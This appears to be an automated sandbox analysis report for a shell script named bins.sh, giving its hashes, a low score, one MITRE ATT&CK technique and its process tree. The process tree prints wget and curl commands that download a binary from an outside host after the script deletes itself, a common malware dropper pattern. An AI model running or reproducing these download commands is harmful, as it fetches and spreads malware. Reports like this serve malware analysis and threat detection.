3c1662ff6477a3a5c84fa92ab396d4fab641b3bc74921895d676b947b66840b6

Analysis

max time kernel
148s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
23-11-2024 20:17

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

7c6a4cc9998a4df716394a21074e9bc3
SHA1

5b68fc1ab04f00f2063bc846d7b2f66919ab3345
SHA256

3c1662ff6477a3a5c84fa92ab396d4fab641b3bc74921895d676b947b66840b6
SHA512

b466a00d1687a8ff2bf9353db491e2bc8e9df95dc669392dd0b977c35d3c47082b0446526599149461202e6006348356f3a599f3fb0eb1ea23a131a1376fc7db
SSDEEP

192:AW+jA8ASYfJGFNIVtc7P2JRMe4rxJRMIVtc7P/fJ8/W+jA8WF:hSNb44rAF

Score

3^/10

discovery

Malware Config

Signatures

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

curlwget

pid	Process
1492	curl
1491	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1489
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1490
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
  2⤵
  - System Network Configuration Discovery
  PID:1491
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
  2⤵
  - System Network Configuration Discovery
  PID:1492

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads